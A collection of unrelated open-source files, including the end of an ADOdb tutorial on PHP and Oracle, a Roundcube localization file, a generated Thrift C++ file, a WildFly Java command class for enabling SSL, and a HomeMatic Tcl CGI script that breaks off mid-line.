heavily-loaded database servers.</p> <p>This example will cache the following select statement for 3600 seconds (1 hour):</p> <pre> $ADODB_CACHE_DIR = '/var/adodb/tmp'; $rs = $db->CacheExecute(3600, "select names from allcountries order by 1"); </pre> There are analogous CacheGetArray( ), CacheGetRow( ), CacheGetOne( ) and CacheSelectLimit( ) functions. The first parameter is the number of seconds to cache. You can also pass a bind array as a 3rd parameter (not shown above). <p>There is an alternative syntax for the caching functions. The first parameter is omitted, and you set the cacheSecs property of the connection object: <pre> $ADODB_CACHE_DIR = '/var/adodb/tmp'; $connection->cacheSecs = 3600; $rs = $connection->CacheExecute($sql, array('id' => 1)); </pre> <h3>&nbsp;</h3> <h3>3. Using Prepare( ) For Frequently Used Statements</h3> <p>Prepare( ) is for compiling frequently used SQL statement for reuse. For example, suppose we have a large array which needs to be inserted into an Oracle database. The following will result in a massive speedup in query execution (at least 20-40%), as the SQL statement only needs to be compiled once:</p> <pre> $stmt = $db->Prepare('insert into table (field1, field2) values (:f1, :f2)'); foreach ($arrayToInsert as $key => $value) { $db->Execute($stmt, array('f1' => $key, 'f2' => $val); } </pre> <p>&nbsp;</p> <h3>4. Working With LOBs</h3> <p>Oracle treats data which is more than 4000 bytes in length specially. These are called Large Objects, or LOBs for short. Binary LOBs are BLOBs, and character LOBs are CLOBs. In most Oracle libraries, you need to do a lot of work to process LOBs, probably because Oracle designed it to work in systems with little memory. ADOdb tries to make things easy by assuming the LOB can fit into main memory. </p> <p>ADOdb will transparently handle LOBs in <i>select</i> statements. The LOBs are automatically converted to PHP variables without any special coding.</p> <p>For updating records with LOBs, the functions UpdateBlob( ) and UpdateClob( ) are provided. Here's a BLOB example. The parameters should be self-explanatory: <pre> $ok = $db->Execute("insert into aTable (id, name, ablob) values (aSequence.nextVal, 'Name', null)"); if (!$ok) return LogError($db-&gt;ErrorMsg()); <font color="#006600"># params: $tableName, $blobFieldName, $blobValue, $whereClause</font> $db->UpdateBlob('aTable', 'ablob', $blobValue, 'id=aSequence.currVal'); </pre> <p>and the analogous CLOB example: <pre> $ok = $db->Execute("insert into aTable (id, name, aclob) values (aSequence.nextVal, 'Name', null)"); if (!$ok) return LogError($db-&gt;ErrorMsg()); $db->UpdateClob('aTable', 'aclob', $clobValue, 'id=aSequence.currVal'); </pre> <p>Note that LogError( ) is a user-defined function, and not part of ADOdb. <p>Inserting LOBs is more complicated. Since ADOdb 4.55, we allow you to do this (assuming that the <em>photo</em> field is a BLOB, and we want to store $blob_data into this field, and the primary key is the <em>id</em> field): <pre> $sql = <span class="style1">"INSERT INTO photos ( ID, photo) ". "VALUES ( :id, empty_blob() )". " RETURNING photo INTO :xx"</span>; $stmt = $db->PrepareSP($sql); $db->InParameter($stmt, $<strong>id</strong>, <span class="style1">'id'</span>); $blob = $db->InParameter($stmt, $<strong>blob_data</strong>, <span class="style1">'xx'</span>,-1, OCI_B_BLOB); $db->StartTrans(); $ok = $db->Execute($stmt); $db->CompleteTrans(); </pre> <p> <h3>5. REF CURSORs</h3> <p>Oracle recordsets can be passed around as variables called REF Cursors. For example, in PL/SQL, we could define a function <i>open_tab</i> that returns a REF CURSOR in the first parameter:</p> <pre> TYPE TabType IS REF CURSOR RETURN TAB%ROWTYPE; PROCEDURE open_tab (tabcursor IN OUT TabType,tablenames IN VARCHAR) IS BEGIN OPEN tabcursor FOR SELECT * FROM TAB WHERE tname LIKE tablenames; END open_tab; </pre> <p>In ADOdb, we could access this REF Cursor using the ExecuteCursor() function. The following will find all table names that begin with 'A' in the current schema: <pre> $rs = $db->ExecuteCursor("BEGIN open_tab(:refc,'A%'); END;",'refc'); while ($arr = $rs->FetchRow()) print_r($arr); </pre> <p>The first parameter is the PL/SQL statement, and the second parameter is the name of the REF Cursor. </p> <p>&nbsp;</p> <h3>6. In and Out Parameters</h3> <p>The following PL/SQL stored procedure requires an input variable, and returns a result into an output variable: <pre> PROCEDURE data_out(input IN VARCHAR, output OUT VARCHAR) IS BEGIN output := 'I love '||input; END; </pre> <p>The following ADOdb code allows you to call the stored procedure:</p> <pre> $stmt = $db->PrepareSP("BEGIN adodb.data_out(:a1, :a2); END;"); $input = 'Sophia Loren'; $db->InParameter($stmt,$input,'a1'); $db->OutParameter($stmt,$output,'a2'); $ok = $db->Execute($stmt); if ($ok) echo ($output == 'I love Sophia Loren') ? 'OK' : 'Failed'; </pre> <p>PrepareSP( ) is a special function that knows about bind parameters. The main limitation currently is that IN OUT parameters do not work. <h4>Bind Parameters and REF CURSORs</h4> <p>We could also rewrite the REF CURSOR example to use InParameter (requires ADOdb 4.53 or later): <pre> $stmt = $db->PrepareSP("BEGIN adodb.open_tab(:refc,:tabname); END;"); $input = 'A%'; $db->InParameter($stmt,$input,'tabname'); $rs = $db->ExecuteCursor($stmt,'refc'); while ($arr = $rs->FetchRow()) print_r($arr); </pre> <h4>Bind Parameters and LOBs</h4> <p>You can also operate on LOBs. In this example, we have IN and OUT parameters using CLOBs. <pre> $text = 'test test test'; $sql = "declare rs clob; begin :rs := lobinout(:sa0); end;"; $stmt = $conn -> PrepareSP($sql); $conn -> InParameter($stmt,$text,'sa0', -1, OCI_B_CLOB); # -1 means variable length $rs = ''; $conn -> OutParameter($stmt,$rs,'rs', -1, OCI_B_CLOB); $conn -> Execute($stmt); echo "return = ".$rs."&lt;br>"; </pre> <p>Similarly, you can use the constant OCI_B_BLOB to indicate that you are using BLOBs. <h4>Reusing Bind Parameters with CURSOR_SHARING=FORCE</h4> <p>Many web programmers do not care to use bind parameters, and prefer to enter the SQL directly. So instead of:</p> <pre> $arr = $db->GetArray("select * from emp where empno>:emp", array('emp' => 7900)); </pre> <p>They prefer entering the values inside the SQL: <pre> $arr = $db->GetArray("select * from emp where empno>7900"); </pre> <p>This reduces Oracle performance because Oracle will reuse compiled SQL which is identical to previously compiled SQL. The above example with the values inside the SQL is unlikely to be reused. As an optimization, from Oracle 8.1 onwards, you can set the following session parameter after you login: <pre> ALTER SESSION SET CURSOR_SHARING=FORCE </pre> <p>This will force Oracle to convert all such variables (eg. the 7900 value) into constant bind parameters, improving SQL reuse.</p> <p>More <a href="http://adodb.sourceforge.net/docs-adodb.htm#speed">speedup tips</a>.</p> <p>&nbsp;</p> <h3>7. Dates and Datetime in ADOdb</h3> <p>There are two things you need to know about dates in ADOdb. </p> <p>First, to ensure cross-database compability, ADOdb assumes that dates are returned in ISO format (YYYY-MM-DD H24:MI:SS).</p> <p>Secondly, since Oracle treats dates and datetime as the same data type, we decided not to display the time in the default date format. So on login, ADOdb will set the NLS_DATE_FORMAT to 'YYYY-MM-DD'. If you prefer to show the date and time by default, do this:</p> <pre> $db = NewADOConnection('oci8'); $db->NLS_DATE_FORMAT = 'RRRR-MM-DD HH24:MI:SS'; $db->Connect($tns, $user, $pwd); </pre> <p>Or execute:</p> <pre>$sql = quot;ALTER SESSION SET NLS_DATE_FORMAT = 'RRRR-MM-DD HH24:MI:SS'&quot;; $db-&gt;Execute($sql); </pre> <p>If you are not concerned about date portability and do not use ADOdb's portability layer, you can use your preferred date format instead. <p> <h3>8. Database Portability Layer</h3> <p>ADOdb provides the following functions for portably generating SQL functions as strings to be merged into your SQL statements:</p> <table width="75%" border="1" align=center> <tr> <td width=30%><b>Function</b></td> <td><b>Description</b></td> </tr> <tr> <td>DBDate($date)</td> <td>Pass in a UNIX timestamp or ISO date and it will convert it to a date string formatted for INSERT/UPDATE</td> </tr> <tr> <td>DBTimeStamp($date)</td> <td>Pass in a UNIX timestamp or ISO date and it will convert it to a timestamp string formatted for INSERT/UPDATE</td> </tr> <tr> <td>SQLDate($date, $fmt)</td> <td>Portably generate a date formatted using $fmt mask, for use in SELECT statements.</td> </tr> <tr> <td>OffsetDate($date, $ndays)</td> <td>Portably generate a $date offset by $ndays.</td> </tr> <tr> <td>Concat($s1, $s2, ...)</td> <td>Portably concatenate strings. Alternatively, for mssql use mssqlpo driver, which allows || operator.</td> </tr> <tr> <td>IfNull($fld, $replaceNull)</td> <td>Returns a string that is the equivalent of MySQL IFNULL or Oracle NVL.</td> </tr> <tr> <td>Param($name)</td> <td>Generates bind placeholders, using ? or named conventions as appropriate.</td> </tr> <tr><td>$db->sysDate</td><td>Property that holds the SQL function that returns today's date</td> </tr> <tr><td>$db->sysTimeStamp</td><td>Property that holds the SQL function that returns the current timestamp (date+time). </td> </tr> <tr> <td>$db->concat_operator</td><td>Property that holds the concatenation operator </td> </tr> <tr><td>$db->length</td><td>Property that holds the name of the SQL strlen function. </td></tr> <tr><td>$db->upperCase</td><td>Property that holds the name of the SQL strtoupper function. </td></tr> <tr><td>$db->random</td><td>Property that holds the SQL to generate a random number between 0.00 and 1.00. </td> </tr> <tr><td>$db->substr</td><td>Property that holds the name of the SQL substring function. </td></tr> </table> <p>ADOdb also provides multiple oracle oci8 drivers for different scenarios:</p> <table width="75%" border="1" align="center"> <tr> <td nowrap><b>Driver Name</b></td> <td><b>Description</b></td> </tr> <tr> <td>oci805 </td> <td>Specifically for Oracle 8.0.5. This driver has a slower SelectLimit( ).</td> </tr> <tr> <td>oci8</td> <td>The default high performance driver. The keys of associative arrays returned in a recordset are upper-case.</td> </tr> <tr> <td>oci8po</td> <td> The portable Oracle driver. Slightly slower than oci8. This driver uses ? instead of :<i>bindvar</i> for binding variables, which is the standard for other databases. Also the keys of associative arrays are in lower-case like other databases.</td> </tr> </table> <p>Here's an example of calling the <i>oci8po</i> driver. Note that the bind variables use question-mark:</p> <pre>$db = NewADOConnection('oci8po'); $db-&gt;Connect($tns, $user, $pwd); $db-&gt;Execute(&quot;insert into atable (f1, f2) values (?,?)&quot;, array(12, 'abc'));</pre> <p>&nbsp;<a name=connecting></a> <h3>9. Connecting to Oracle</h3> <p>Before you can use ADOdb, you need to have the Oracle client installed and setup the oci8 extension. This extension comes pre-compiled for Windows (but you still need to enable it in the php.ini file). For information on compiling the oci8 extension for PHP and Apache on Unix, there is an excellent guide at <a href="http://www.oracle.com/technetwork/articles/dsl/php-oic-install-linux-2275399.html">oracle.com</a>. </p> <h4>Should You Use Persistent Connections</h4> <p>One question that is frequently asked is should you use persistent connections to Oracle. Persistent connections allow PHP to recycle existing connections, reusing them after the previous web pages have completed. Non-persistent connections close automatically after the web page has completed. Persistent connections are faster because the cost of reconnecting is expensive, but there is additional resource overhead. As an alternative, Oracle allows you to pool and reuse server processes; this is called <a href="http://www.dba-oracle.com/t_mts_multithreaded_servers_shared.htm">Shared Server</a> (also known as MTS).</p> <p>The author's benchmarks suggest that using non-persistent connections and the Shared Server configuration offer the best performance. If Shared Server is not an option, only then consider using persistent connections.</p> <h4>Connection Examples</h4> <p>Just in case you are having problems connecting to Oracle, here are some examples:</p> <p>a. PHP and Oracle reside on the same machine, use default SID, with non-persistent connections:</p> <pre> $conn = NewADOConnection('oci8'); $conn-&gt;Connect(false, 'scott', 'tiger');</pre> <p>b. TNS Name defined in tnsnames.ora (or ONAMES or HOSTNAMES), eg. 'myTNS', using persistent connections:</p> <pre> $conn = NewADOConnection('oci8'); $conn-&gt;PConnect(false, 'scott', 'tiger', 'myTNS');</pre> <p>or</p> <pre> $conn-&gt;PConnect('myTNS', 'scott', 'tiger');</pre> <p>c. Host Address and SID</p> <pre> $conn->connectSID = true; $conn-&gt;Connect('192.168.0.1', 'scott', 'tiger', 'SID');</pre> <p>d. Host Address and Service Name</p> <pre> $conn-&gt;Connect('192.168.0.1', 'scott', 'tiger', 'servicename');</pre> <p>e. Oracle connection string: <pre> $cstr = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$host)(PORT=$port)) (CONNECT_DATA=(SID=$sid)))"; $conn-&gt;Connect($cstr, 'scott', 'tiger'); </pre> <p>f. ADOdb data source names (dsn): <pre> $dsn = 'oci8://user:pwd@tnsname/?persist'; # persist is optional $conn = ADONewConnection($dsn); # no need for Connect/PConnect $dsn = 'oci8://user:pwd@host/sid'; $conn = ADONewConnection($dsn); $dsn = 'oci8://user:pwd@/'; # oracle on local machine $conn = ADONewConnection($dsn);</pre> <p>With ADOdb data source names, you don't have to call Connect( ) or PConnect( ). </p> <p>&nbsp;</p> <h3>10. Error Checking</h3> <p>The examples in this article are easy to read but a bit simplistic because we ignore error-handling. Execute( ) and Connect( ) will return false on error. So a more realistic way to call Connect( ) and Execute( ) is: <pre>function InvokeErrorHandler() {<br>global $db; ## assume global MyLogFunction($db-&gt;ErrorNo(), $db-&gt;ErrorMsg()); } if (!$db-&gt;Connect($tns, $usr, $pwd)) InvokeErrorHandler(); $rs = $db->Execute("select * from emp where empno>:emp order by empno", array('emp' => 7900)); if (!$rs) return InvokeErrorHandler(); while ($arr = $rs->FetchRow()) { print_r($arr); echo "&lt;hr>"; } </pre> <p>You can retrieve the error message and error number of the last SQL statement executed from ErrorMsg( ) and ErrorNo( ). You can also <a href="http://adodb.sourceforge.net/docs-adodb.htm#errorhandling">define a custom error handler function</a>. ADOdb also supports throwing exceptions in PHP5. <p>&nbsp;</p> <h3>Handling Large Recordsets (added 27 May 2005)</h3> The oci8 driver does not support counting the number of records returned in a SELECT statement, so the function RecordCount() is emulated when the global variable $ADODB_COUNTRECS is set to true, which is the default. We emulate this by buffering all the records. This can take up large amounts of memory for big recordsets. Set $ADODB_COUNTRECS to false for the best performance. <p> This variable is checked every time a query is executed, so you can selectively choose which recordsets to count. <p>&nbsp;</p> <h3>11. Other ADOdb Features</h3> <p><a href="http://adodb.sourceforge.net/docs-datadict.htm">Schema generation</a>. This allows you to define a schema using XML and import it into different RDBMS systems portably.</p> <p><a href="http://adodb.sourceforge.net/docs-perf.htm">Performance monitoring and tracing</a>. Highlights of performance monitoring include identification of poor and suspicious SQL, with explain plan support, and identifying which web pages the SQL ran on.</p> <p>&nbsp;</p> <h3>12. Download</h3> <p>You can <a href="http://adodb.sourceforge.net/#download">download ADOdb from sourceforge</a>. ADOdb uses a BSD style license. That means that it is free for commercial use, and redistribution without source code is allowed.</p> <p>&nbsp;</p> <h3>13. Resources</h3> <ul> <li>Oracle's <a href="http://www.oracle.com/technetwork/database/database-technologies/php/whatsnew/index.html">PHP Developer Center</a></li> <li>The <a href="http://www.oracle.com/technetwork/database/database-technologies/php/underground-php-oracle-manual-098250.html">Underground PHP and Oracle Manual</a></li> <li>OTN article on <a href=http://www.oracle.com/technetwork/articles/dsl/lim-deployphp-093962.html>Optimizing PHP and Oracle</a> by John Lim. <li>PHP <a href="http://php.net/oci8">oci8</a> manual pages</li> </ul> </body> </html>
{ "pile_set_name": "Github" }
include LICENSE graft res include scripts/generate-key include scripts/sydent-bind recursive-include sydent *.sql
{ "pile_set_name": "Github" }
<?php /* +-----------------------------------------------------------------------+ | Localization file of the Roundcube Webmail Userinfo plugin | | | | Copyright (C) The Roundcube Dev Team | | | | Licensed under the GNU General Public License version 3 or | | any later version with exceptions for skins & plugins. | | See the README file for a full license statement. | +-----------------------------------------------------------------------+ For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-userinfo/ */ $labels['userinfo'] = 'Informacje'; $labels['created'] = 'Utworzony'; $labels['lastlogin'] = 'Ostatnie logowanie'; $labels['defaultidentity'] = 'Domyślna tożsamość';
{ "pile_set_name": "Github" }
/** * Autogenerated by Thrift * * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING * @generated */ #include "thrift/compiler/test/fixtures/mcpp2-compare/gen-cpp2/includes_data.h" #include <thrift/lib/cpp2/gen/module_data_cpp.h> namespace apache { namespace thrift { constexpr const std::size_t TEnumDataStorage<::a::different::ns::AnEnum>::size; constexpr const std::array<::a::different::ns::AnEnum, 2> TEnumDataStorage<::a::different::ns::AnEnum>::values; constexpr const std::array<folly::StringPiece, 2> TEnumDataStorage<::a::different::ns::AnEnum>::names; } // namespace thrift } // namespace apache
{ "pile_set_name": "Github" }
/* Copyright 2017 Red Hat, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package org.jboss.as.cli.impl.aesh.cmd.security.ssl; import org.jboss.as.cli.impl.aesh.cmd.RelativeFile; import org.jboss.as.cli.impl.aesh.cmd.RelativeFilePathConverter; import java.io.File; import java.io.IOException; import org.aesh.command.Command; import org.aesh.command.CommandDefinition; import org.aesh.command.CommandException; import org.aesh.command.CommandResult; import org.aesh.command.impl.completer.FileOptionCompleter; import org.aesh.command.option.Option; import org.jboss.as.cli.CommandContext; import org.jboss.as.cli.CommandFormatException; import org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_CA_ACCOUNT; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_INTERACTIVE; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_KEY_STORE_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_KEY_STORE_PASSWORD; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_KEY_STORE_PATH; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_KEY_STORE_PATH_RELATIVE_TO; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_KEY_STORE_TYPE; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_LETS_ENCRYPT; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NEW_KEY_MANAGER_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NEW_KEY_STORE_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NEW_SSL_CONTEXT_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NEW_TRUST_MANAGER_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NEW_TRUST_STORE_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NO_RELOAD; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_NO_TRUSTED_CERTIFICATE_VALIDATION; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_TRUSTED_CERTIFICATE_PATH; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_TRUST_STORE_FILE_NAME; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_TRUST_STORE_FILE_PASSWORD; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OPT_TRUST_STORE_NAME; import org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.OptionCompleters; import static org.jboss.as.cli.impl.aesh.cmd.security.SecurityCommand.formatOption; import org.jboss.as.cli.impl.aesh.cmd.security.model.ElytronUtil; import org.jboss.as.cli.impl.aesh.cmd.security.model.InteractiveSecurityBuilder; import org.jboss.as.cli.impl.aesh.cmd.security.model.KeyStoreNameSecurityBuilder; import org.jboss.as.cli.impl.aesh.cmd.security.model.KeyStorePathSecurityBuilder; import org.jboss.as.cli.impl.aesh.cmd.security.model.SSLSecurityBuilder; import org.jboss.as.cli.operation.OperationFormatException; import org.jboss.dmr.ModelNode; import org.wildfly.core.cli.command.DMRCommand; import org.wildfly.core.cli.command.aesh.CLICommandInvocation; /** * Base class for any command that enables SSL. * * @author [email protected] */ @CommandDefinition(name = "abstract-ssl-enable", description = "") public abstract class AbstractEnableSSLCommand implements Command<CLICommandInvocation>, DMRCommand { @Option(name = OPT_KEY_STORE_NAME, completer = OptionCompleters.KeyStoreNameCompleter.class, activator = OptionActivators.KeyStoreNameActivator.class) String keystoreName; @Option(name = OPT_KEY_STORE_PATH, activator = OptionActivators.KeyStorePathActivator.class, converter = RelativeFilePathConverter.class, completer = FileOptionCompleter.class) RelativeFile keystorePath; @Option(name = OPT_KEY_STORE_PATH_RELATIVE_TO, activator = OptionActivators.KeyStorePathDependentActivator.class) String keystorePathRelativeTo; @Option(name = OPT_KEY_STORE_PASSWORD, activator = OptionActivators.KeyStorePathDependentActivator.class) String keystorePassword; @Option(name = OPT_TRUSTED_CERTIFICATE_PATH, activator = OptionActivators.TrustedCertificateActivator.class) File trustedCertificatePath; @Option(name = OPT_NO_TRUSTED_CERTIFICATE_VALIDATION, activator = OptionActivators.ValidateTrustedCertificateActivator.class, hasValue = false) boolean noTrustedCertificateValidation; @Option(name = OPT_TRUST_STORE_NAME, completer = OptionCompleters.KeyStoreNameCompleter.class, activator = OptionActivators.TrustStoreNameActivator.class) String trustStoreName; @Option(name = OPT_TRUST_STORE_FILE_NAME, activator = OptionActivators.TrustStoreFileNameActivator.class) String trustStoreFileName; @Option(name = OPT_NEW_TRUST_STORE_NAME, activator = OptionActivators.NewTrustStoreNameActivator.class) String newTrustStoreName; @Option(name = OPT_NEW_TRUST_MANAGER_NAME, activator = OptionActivators.NewTrustManagerNameActivator.class) String newTrustManagerName; @Option(name = OPT_TRUST_STORE_FILE_PASSWORD, activator = OptionActivators.TrustStoreFilePasswordActivator.class) String trustStoreFilePassword; @Option(name = OPT_KEY_STORE_TYPE, activator = OptionActivators.KeyStorePathDependentActivator.class, completer = OptionCompleters.KeyStoreTypeCompleter.class) String keyStoreType; @Option(name = OPT_NEW_KEY_MANAGER_NAME, activator = OptionActivators.NewKeyManagerNameActivator.class) String newKeyManagerName; @Option(name = OPT_NEW_SSL_CONTEXT_NAME, activator = OptionActivators.NewSSLContextNameActivator.class) String newSslContextName; @Option(name = OPT_NEW_KEY_STORE_NAME, activator = OptionActivators.NewKeyStoreNameActivator.class) String newKeystoreName; @Option(name = OPT_NO_RELOAD, hasValue = false, activator = OptionActivators.NoReloadActivator.class) boolean noReload; @Option(name = OPT_INTERACTIVE, hasValue = false, activator = OptionActivators.InteractiveActivator.class) boolean interactive; @Option(name = OPT_LETS_ENCRYPT, hasValue = false, activator = OptionActivators.LetsEncryptActivator.class) boolean useLetsEncrypt; @Option(name = OPT_CA_ACCOUNT, completer = OptionCompleters.CaAccountNameCompleter.class, activator = OptionActivators.CaAccountActivator.class) String caAccount; protected abstract void secure(CommandContext ctx, SSLSecurityBuilder ssl) throws CommandException; private final CommandContext initCtx; protected AbstractEnableSSLCommand(CommandContext initCtx) { this.initCtx = initCtx; } CommandContext getCommandContext() { return initCtx; } @Override public ModelNode buildRequest(CommandContext context) throws CommandFormatException { try { return buildSecurityRequest(context, null).buildExecutableRequest(context); } catch (Exception ex) { throw new CommandFormatException(ex.getLocalizedMessage() == null ? ex.toString() : ex.getLocalizedMessage()); } } private SSLSecurityBuilder buildSecurityRequest(CommandContext context, CLICommandInvocation commandInvocation) throws Exception { SSLSecurityBuilder builder = validateOptions(context); if (builder instanceof InteractiveSecurityBuilder) { ((InteractiveSecurityBuilder) builder).setCommandInvocation(commandInvocation); } builder.buildRequest(context, commandInvocation == null); secure(context, builder); return builder; } protected abstract boolean isSSLEnabled(CommandContext ctx) throws Exception; protected abstract String getTarget(CommandContext ctx); @Override public CommandResult execute(CLICommandInvocation commandInvocation) throws CommandException, InterruptedException { CommandContext ctx = commandInvocation.getCommandContext(); String target = getTarget(ctx); try { if (isSSLEnabled(ctx)) { throw new CommandException("SSL is already enabled for " + target); } } catch (Exception ex) { throw new CommandException(ex.getLocalizedMessage(), ex); } SSLSecurityBuilder builder; try { builder = buildSecurityRequest(ctx, commandInvocation); } catch (Exception ex) { throw new CommandException(ex.getLocalizedMessage()); } try { SecurityCommand.execute(ctx, builder.buildExecutableRequest(ctx), builder, noReload); } catch (Exception ex) { if (ex instanceof CommandException) { throw (CommandException) ex; } else { throw new CommandException(ex.getLocalizedMessage()); } } commandInvocation.getCommandContext().printLine("SSL enabled for " + target); commandInvocation.getCommandContext().printLine("ssl-context is " + builder.getServerSSLContext().getName()); commandInvocation.getCommandContext().printLine("key-manager is " + builder.getServerSSLContext().getKeyManager().getName()); commandInvocation.getCommandContext().printLine("key-store is " + builder.getServerSSLContext().getKeyManager().getKeyStore().getName()); return CommandResult.SUCCESS; } abstract String getDefaultKeyStoreFileName(CommandContext ctx); abstract String getDefaultTrustStoreFileName(CommandContext ctx); private SSLSecurityBuilder validateOptions(CommandContext ctx) throws CommandException, IOException, OperationFormatException { if (keystoreName == null && keystorePath == null && !interactive) { throw new CommandException("One of " + formatOption(OPT_INTERACTIVE) + ", " + formatOption(OPT_KEY_STORE_NAME) + ", " + formatOption(OPT_KEY_STORE_PATH) + " must be set"); } SSLSecurityBuilder builder = null; if (keystorePath != null) { if (keystoreName != null) { throw new CommandException(formatOption(OPT_KEY_STORE_NAME) + " can't be used with " + formatOption(OPT_KEY_STORE_PATH)); } File path; if (keystorePathRelativeTo != null) { path = new File(keystorePath.getOriginalPath()); } else { path = keystorePath; if (!path.exists()) { throw new CommandException("File " + path + " doesn't exist."); } } KeyStorePathSecurityBuilder kspBuilder = new KeyStorePathSecurityBuilder(path, keystorePassword); kspBuilder.setRelativeTo(keystorePathRelativeTo).setType(keyStoreType). setName(newKeystoreName); builder = kspBuilder; } if (keystoreName != null) { if (builder != null) { invalidUseCase(); } if (newKeystoreName != null || keystorePassword != null || keyStoreType != null || keystorePathRelativeTo != null || keystorePath != null) { throw new CommandException("key-store file related options can't be used with " + formatOption(OPT_KEY_STORE_NAME)); } if (!ElytronUtil.keyStoreExists(ctx, keystoreName)) { throw new CommandException("key-store " + keystoreName + " doesn't exist"); } builder = new KeyStoreNameSecurityBuilder(keystoreName); } if (interactive) { // Fully handled by prompting. if (builder != null) { invalidUseCase(); } checkKeyStoreOperationsSupported(ctx, OPT_INTERACTIVE); builder = new InteractiveSecurityBuilder(getDefaultKeyStoreFileName(ctx), getDefaultTrustStoreFileName(ctx), useLetsEncrypt, caAccount); } if (trustedCertificatePath != null) { checkKeyStoreOperationsSupported(ctx, OPT_TRUSTED_CERTIFICATE_PATH); if (!trustedCertificatePath.exists()) { throw new CommandException("The client certificate path " + trustedCertificatePath + " doesn't exist"); } if (trustStoreName != null) { throw new CommandException(formatOption(OPT_TRUST_STORE_NAME) + " can't be used when " + formatOption(OPT_TRUSTED_CERTIFICATE_PATH) + " is in use"); } } if (trustStoreName != null) { if (!ElytronUtil.keyStoreExists(ctx, trustStoreName)) { throw new CommandException("key-store " + trustStoreName + " doesn't exist"); } } if (builder != null) { builder.setTrustedCertificatePath(trustedCertificatePath); builder.setValidateCertificate(!noTrustedCertificateValidation); builder.setTrustStoreFileName(trustStoreFileName); builder.setTrustStoreFilePassword(trustStoreFilePassword); builder.setTrustStoreName(trustStoreName); builder.setNewTrustStoreName(newTrustStoreName); builder.setNewTrustManagerName(newTrustManagerName); builder.setKeyManagerName(newKeyManagerName); builder.setSSLContextName(newSslContextName); } return builder; } private static void checkKeyStoreOperationsSupported(CommandContext ctx, String option) throws IOException, OperationFormatException, CommandException { if (!ElytronUtil.isKeyStoreManagementSupported(ctx)) { throw new CommandException("Operations to manage key-store are not available, the option " + formatOption(option) + " can't be used"); } } private static void invalidUseCase() throws CommandException { throw new CommandException("Only one of " + formatOption(OPT_INTERACTIVE) + ", " + formatOption(OPT_KEY_STORE_NAME) + ", " + formatOption(OPT_KEY_STORE_PATH) + "must be set"); } }
{ "pile_set_name": "Github" }
#!/bin/tclsh source once.tcl sourceOnce cgi.tcl sourceOnce session.tcl sourceOnce ic_common.tcl loadOnce tclrpc.so #Datenbank der Geraetebeschreibungen fuers WebUI sourceOnce devdescr/DEVDB.tcl set cmd "" proc cmd_removeLink {} { global iface_url USERPROFILESPATH set sender_address "" set receiver_address "" set iface "" catch { import iface } catch { import sender_address } catch { import receiver_address } set url $iface_url($iface) set HmIPIdentifier "HmIP-RF" set HmIPWiredIdentifier "HmIP-Wired" if { ![info exist env(IC_OPTIONS)] || ([string first NO_PROFILE_MAPPING $env(IC_OPTIONS)] < 0) } { # Verknuepfungen einlesen und in map_link ablegen if { ! [catch {open $USERPROFILESPATH/link.db RDONLY} fd] } then { while {![eof $fd]} { set map_link([gets $fd]) "true" } close $fd } # Geloeschte Verknuepfung aus link.db entfernen if {[info exists map_link($sender_address-$receiver_address)]} { set fd [open $USERPROFILESPATH/link_tmp.db w+] foreach tmp [array names map_link] { if {$tmp != "$sender_address-$receiver_address" } { puts $fd $tmp } } close $fd file rename -force $USERPROFILESPATH/link_tmp.db $USERPROFILESPATH/link.db } } #cgi_debug -on set errorCode [catch {xmlrpc $url removeLink [list string $sender_address] [list string $receiver_address]}] if { (! $errorCode) || $iface == $HmIPIdentifier || $iface == $HmIPWiredIdentifier} then { #puts "<script type=\"text/javascript\">alert('Loeschen der Verknuepfung war erfolgreich!');</script>" cmd_ShowConfigPendingMsg } else { #puts "<script type=\"text/javascript\">alert('Loeschen der Verknuepfung war nicht erfolgreich!');</script>" puts "<script type=\"text/javascript\">alert(translateKey(\"dialogRemoveLinkFailed\"));</script>" } } proc cmd_setLinkInfo {} { global iface_url sid sidname set iface "" set sender_address "" set receiver_address "" set name "" set description "" catch { import iface } catch { import sender_address } catch { import receiver_address } catch { import name } catch { import description } set url $iface_url($iface) if { [catch { xmlrpc $url setLinkInfo [list string $sender_address] [list string $receiver_address] [list string $name] [list string $description] } ] } then { #puts "<script type=\"text/javascript\">alert('Fehler beim Speichern des Verkn�pfungsnamen von $sender_address mit $receiver_address.');</script>" puts "<script type=\"text/javascript\">alert(translateKey('dialogSetLinkNameErrorA') + ' $sender_address ' + translateKey('dialogSetLinkNameErrorB') + ' $receiver_address.');</script>" } else { } #puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(\"Name 